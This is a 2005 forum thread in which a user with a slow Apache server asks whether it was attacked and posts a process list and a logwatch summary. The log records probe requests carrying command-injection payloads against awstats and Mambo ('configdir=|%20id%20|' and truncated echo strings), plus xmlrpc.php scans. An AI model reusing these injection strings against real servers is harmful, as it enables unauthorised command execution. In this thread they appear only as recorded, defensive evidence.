Apache is running slowly

mikezang · #1 26th December 2005, 12:32 AM

I found my web server is getting to slow than when I open it, then I found my HD is accessed every minute, but I couldn't find records as same period in log files, for example, messages or error_log.
I am afriad if my server is attacked, but I don't how to check, what can I do?

mjmwired · #2 26th December 2005, 05:59 PM

Login to the server and on the shell command line:
Run 'top' to see which applications are taking most CPU.
Run 'ps -eaf' to see EVERY application running. Try to identify any strange applications.

mikezang · #3 27th December 2005, 02:00 PM

Thanks for your suggestion.
I checked my error_log, there are a lot of access for pages /var/www/html/xmlsrv, /var/www/html/xmlrpc, /var/www/html/xmlrpc.php, /var/www/html/phpgroupware, /var/www/html/drupal, /var/www/html/blogs and so on, and ip addresses are the same in some time, what did they do? HACKERS?

I found top process as below using top, but I don't use VNC if I power off my windows pc, so those are not the reason of HD access frequently.
Xvnc, Gnome-terminal, Init

Then I tried ps -eaf, I found my httpd has 15 processes, one's user is root, else are apache, is this bad? How can I decrease the number sof process?
I Found devecot has 5 processes, 2 for imap, 3 for pop, I don't use pop, may I stop such processes? hwo can I config devecot to let it never run again?
I laso found even if I don't use VNC, the processes of vnc are running, also GNOME, I tried XFCE, but I found XFCE's user interface is not so good, for example. I can't copy/paste by Ctrl+C/Ctrl+V, this is very not convenience. how can I config XFCE easy to use like GNOME? I checked document for XFCE, no good result.
I found xscreensaver -no-splash, I don't who run it, how can I let it never run again?
I list all process, can you point which one is strange for me?

Code:

UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 Dec25 ?        00:00:05 init [3]
root         2     1  0 Dec25 ?        00:00:00 [ksoftirqd/0]
root         3     1  0 Dec25 ?        00:00:00 [events/0]
root         4     1  0 Dec25 ?        00:00:00 [khelper]
root         5     1  0 Dec25 ?        00:00:00 [kthread]
root         7     5  0 Dec25 ?        00:00:00 [kblockd/0]
root        10     5  0 Dec25 ?        00:00:00 [khubd]
root        74     5  0 Dec25 ?        00:00:00 [pdflush]
root        75     5  0 Dec25 ?        00:00:00 [pdflush]
root        77     5  0 Dec25 ?        00:00:00 [aio/0]
root        39     1  0 Dec25 ?        00:00:00 [kapmd]
root        76     1  0 Dec25 ?        00:00:02 [kswapd0]
root       164     5  0 Dec25 ?        00:00:00 [kseriod]
root       275     5  0 Dec25 ?        00:00:00 [kmirrord]
root       285     1  0 Dec25 ?        00:00:02 [kjournald]
root       698     1  0 Dec25 ?        00:00:00 udevd
root       825     5  0 Dec25 ?        00:00:00 [kgameportd]
root      1016     1  0 Dec25 ?        00:00:00 [pccardd]
root      1021     1  0 Dec25 ?        00:00:00 [pccardd]
root      1075     1  0 Dec25 ?        00:00:00 [kjournald]
root      1202     1  0 Dec25 ?        00:00:00 /sbin/cardmgr
root      1367     1  0 Dec25 ?        00:00:00 syslogd -m 0
root      1369     1  0 Dec25 ?        00:00:00 klogd -x
named     1395     1  0 Dec25 ?        00:00:01 /usr/sbin/named -u named -
rpc       1442     1  0 Dec25 ?        00:00:00 portmap
root      1456     1  0 Dec25 ?        00:00:00 auditd
root      1459     5  0 Dec25 ?        00:00:00 [kauditd]
root      1529     1  0 Dec25 ?        00:00:00 rpc.idmapd
root      1587     1  0 Dec25 ?        00:00:00 /usr/sbin/apmd -p 10 -w 5
root      1737     1  0 Dec25 ?        00:00:00 /usr/sbin/automount --time
root      1739     1  0 Dec25 ?        00:00:00 /usr/sbin/automount --time
root      1753     1  0 Dec25 ?        00:00:00 nifd -n
nobody    1782     1  0 Dec25 ?        00:00:00 mDNSResponder
root      1797     1  0 Dec25 ?        00:00:00 cupsd
root      1845     1  0 Dec25 ?        00:00:00 /usr/sbin/sshd
ntp       1858     1  0 Dec25 ?        00:00:00 ntpd -u ntp:ntp -p /var/ru
root      1866     1  0 Dec25 ?        00:00:00 /usr/sbin/dovecot
root      1878  1866  0 Dec25 ?        00:00:00 dovecot-auth
dovecot   1879  1866  0 Dec25 ?        00:00:00 imap-login
dovecot   1880  1866  0 Dec25 ?        00:00:00 imap-login
dovecot   1882  1866  0 Dec25 ?        00:00:00 pop3-login
dovecot   1883  1866  0 Dec25 ?        00:00:00 pop3-login
dovecot   1884  1866  0 Dec25 ?        00:00:00 pop3-login
root      1931     1  0 Dec25 ?        00:00:00 /usr/libexec/postfix/maste
postfix   1939  1931  0 Dec25 ?        00:00:00 qmgr -l -t fifo -u
root      1941     1  0 Dec25 ?        00:00:00 gpm -m /dev/input/mice -t
iiimd     1980     1  0 Dec25 ?        00:00:00 /usr/bin/iiimd
canna     1990     1  0 Dec25 ?        00:00:03 /usr/sbin/cannaserver -sys
root      2007     1  0 Dec25 ?        00:00:00 crond
xfs       2031     1  0 Dec25 ?        00:00:00 xfs -droppriv -daemon
root      2040     1  0 Dec25 ?        00:00:00 smbd -D
root      2042  2040  0 Dec25 ?        00:00:00 smbd -D
root      2043     1  0 Dec25 ?        00:00:01 nmbd -D
root      2092     1  0 Dec25 ?        00:01:44 Xvnc :1 -desktop server1.z
root      2094     1  0 Dec25 ?        00:00:01 gnome-session
root      2122  2094  0 Dec25 ?        00:00:00 vncconfig -iconic
mikezang  2127     1  0 Dec25 ?        00:00:01 Xvnc :3 -desktop server1.z
mikezang  2129     1  0 Dec25 ?        00:00:00 /bin/sh /home/mikezang/.vn
mikezang  2134  2129  0 Dec25 ?        00:00:00 vncconfig -iconic
mikezang  2138  2129  0 Dec25 ?        00:00:00 /bin/sh /etc/xdg/xfce4/xin
mikezang  2151  2138  0 Dec25 ?        00:00:00 /bin/sh /etc/xdg/xfce4/xin
mikezang  2153  2151  0 Dec25 ?        00:00:00 xscreensaver -no-splash
root      2154     1  0 Dec25 ?        00:00:00 /usr/sbin/atd
mikezang  2160     1  0 Dec25 ?        00:00:00 /usr/bin/ssh-agent -s
mikezang  2168     1  0 Dec25 ?        00:00:00 /usr/bin/dbus-launch --sh-
root      2171     1  0 Dec25 ?        00:00:05 /usr/libexec/gconfd-2 13
mikezang  2172     1  0 Dec25 ?        00:00:00 dbus-daemon --fork --print
dbus      2178     1  0 Dec25 ?        00:00:00 dbus-daemon --system
root      2188     1  0 Dec25 ?        00:00:00 cups-config-daemon
root      2197     1  0 Dec25 ?        00:01:02 hald --retain-privileges
root      2217     1  0 Dec25 ?        00:00:00 /usr/bin/gnome-keyring-dae
root      2222     1  0 Dec25 ?        00:00:00 /usr/libexec/bonobo-activa
root      2288     1  0 Dec25 tty1     00:00:00 /sbin/mingetty tty1
root      2289     1  0 Dec25 tty2     00:00:00 /sbin/mingetty tty2
root      2290     1  0 Dec25 tty3     00:00:00 /sbin/mingetty tty3
root      2291     1  0 Dec25 tty4     00:00:00 /sbin/mingetty tty4
root      2292     1  0 Dec25 tty5     00:00:00 /sbin/mingetty tty5
root      2293     1  0 Dec25 tty6     00:00:00 /sbin/mingetty tty6
mikezang  2340     1  0 Dec25 ?        00:00:00 xfce-mcs-manager
root      2346     1  0 Dec25 ?        00:00:01 /usr/libexec/gnome-setting
mikezang  2456     1  0 Dec25 ?        00:00:00 xfwm4 --daemon
mikezang  2457  2138  0 Dec25 ?        00:00:00 xftaskbar4
mikezang  2458  2138  0 Dec25 ?        00:00:03 xfdesktop
mikezang  2463  2138  0 Dec25 ?        00:00:01 /usr/bin/xfce4-panel
root      2465     1  0 Dec25 ?        00:00:00 /usr/libexec/gam_server
root      2485     1  0 Dec25 ?        00:00:00 /usr/libexec/vino-server -
root      2501     1  0 Dec25 ?        00:00:14 /usr/bin/metacity --sm-cli
root      2505     1  0 Dec25 ?        00:00:02 gnome-panel --sm-client-id
root      2507     1  0 Dec25 ?        00:00:04 nautilus --no-default-wind
root      2510     1  0 Dec25 ?        00:00:00 gnome-volume-manager --sm-
root      2516     1  0 Dec25 ?        00:00:00 /usr/libexec/gnome-vfs-dae
root      2518     1  0 Dec25 ?        00:00:00 pam-panel-icon --sm-client
root      2523  2518  0 Dec25 ?        00:00:00 /sbin/pam_timestamp_check
root      2526     1  0 Dec25 ?        00:00:05 /usr/libexec/wnck-applet -
root      2530     1  0 Dec25 ?        00:00:00 /usr/libexec/mapping-daemo
root      2536     1  0 Dec25 ?        00:00:01 /usr/libexec/mixer_applet2
root      2538     1  0 Dec25 ?        00:00:08 /usr/libexec/clock-applet
root      2540     1  0 Dec25 ?        00:00:00 /usr/libexec/notification-
root      2542     1  0 Dec25 ?        00:01:37 /usr/libexec/battstat-appl
root      6874     1  0 Dec26 ?        00:00:57 gnome-terminal
root      6878  6874  0 Dec26 ?        00:00:00 gnome-pty-helper
root      6879  6874  0 Dec26 pts/0    00:00:00 bash
root      6905  6874  0 Dec26 pts/1    00:00:00 bash
root      6990     1  0 Dec26 ?        00:00:11 evolution
root      6994     1  0 Dec26 ?        00:00:00 /usr/libexec/evolution-dat
root      6998  6990  0 Dec26 ?        00:00:00 [netstat] <defunct>
dovecot   7002  1866  0 Dec26 ?        00:00:00 imap-login
root      7006     1  0 Dec26 ?        00:00:00 /usr/libexec/evolution/2.2
mikezang  7027  1866  0 Dec26 ?        00:00:00 imap
root     16027     1  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16029 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16030 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16031 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16032 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16033 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16034 16027  0 01:15 ?        00:00:02 /usr/sbin/httpd
apache   16035 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   16036 16027  0 01:15 ?        00:00:01 /usr/sbin/httpd
apache   20826 16027  0 09:58 ?        00:00:00 /usr/sbin/httpd
apache   21299 16027  0 10:51 ?        00:00:00 /usr/sbin/httpd
apache   23485 16027  0 15:13 ?        00:00:00 /usr/sbin/httpd
apache   24465 16027  0 17:14 ?        00:00:00 /usr/sbin/httpd
apache   24466 16027  0 17:14 ?        00:00:00 /usr/sbin/httpd
apache   24467 16027  0 17:14 ?        00:00:00 /usr/sbin/httpd
postfix  26622  1931  0 21:36 ?        00:00:00 pickup -l -t fifo -u
root     26992  2040  0 22:19 ?        00:00:00 smbd -D

mikezang · #4 27th December 2005, 02:05 PM

Here is message in my mail, anything strange?

Code:

--------------------- httpd Begin ------------------------ 

 Requests with error response codes
    400 Bad Request
       /blog/xmlrpc.php: 2 Time(s)
       /blog/xmlsrv/xmlrpc.php: 2 Time(s)
       /blogs/xmlsrv/xmlrpc.php: 2 Time(s)
       /drupal/xmlrpc.php: 2 Time(s)
       /phpgroupware/xmlrpc.php: 2 Time(s)
       /wordpress/xmlrpc.php: 2 Time(s)
       /xmlrpc/xmlrpc.php: 2 Time(s)
       /xmlsrv/xmlrpc.php: 2 Time(s)
    404 Not Found
       //awstats/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //awstats/perl/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //cgi-bin/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //cgi-bin/awstats/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //cgi/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //cp/awstats/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       //stat-cgi/awstats.pl?configdir=|%20id%20|: 1 Time(s)
       /awstats/awstats.pl?configdir=|echo;echo%2 ... cho%20YYY;echo|: 2 Time(s)
       /cgi-bin/awstats.pl?configdir=|echo;echo%2 ... cho%20YYY;echo|: 2 Time(s)
       /cgi-bin/awstats/awstats.pl?configdir=|ech ... cho%20YYY;echo|: 2 Time(s)
       /cvs/index2.php?_REQUEST[option]=com_conte ... cho%20YYY;echo|: 1 Time(s)
       /cvs/mambo/index2.php?_REQUEST[option]=com ... cho%20YYY;echo|: 1 Time(s)
       /favicon.ico: 2 Time(s)
       /index.php?option=com_content&do_pdf=1&id= ... cho%20YYY;echo|: 1 Time(s)
       /index2.php?option=com_content&do_pdf=1&id ... cho%20YYY;echo|: 1 Time(s)
       /mambo/index2.php?_REQUEST[option]=com_con ... cho%20YYY;echo|: 1 Time(s)
       /php/mambo/index2.php?_REQUEST[option]=com ... cho%20YYY;echo|: 1 Time(s)
       /robots.txt: 2 Time(s)
       /sumthin: 1 Time(s)
       /xmlrpc.php: 4 Time(s)
    500 Internal Server Error
       /jsp-examples/error/err.jsp?name=audi: 1 Time(s)
       /jsp-examples/error/err.jsp?name=z3: 1 Time(s)
       /jsp-examples/jsp2/el/basic-arithmetic.jsp.html: 2 Time(s)
       /jsp-examples/jsp2/el/basic-comparisons.jsp.html: 1 Time(s)
       /jsp-examples/jsp2/el/implicit-objects.jsp.html: 2 Time(s)
       /jsp-examples/jsp2/jspattribute/jspattribute.jsp.html: 1 Time(s)
       /jsp-examples/jsp2/jspattribute/shuffle.jsp.html: 1 Time(s)
       /~mikezang/cgi-bin/patio/regist.cgi: 3 Time(s)
 
 ---------------------- httpd End -------------------------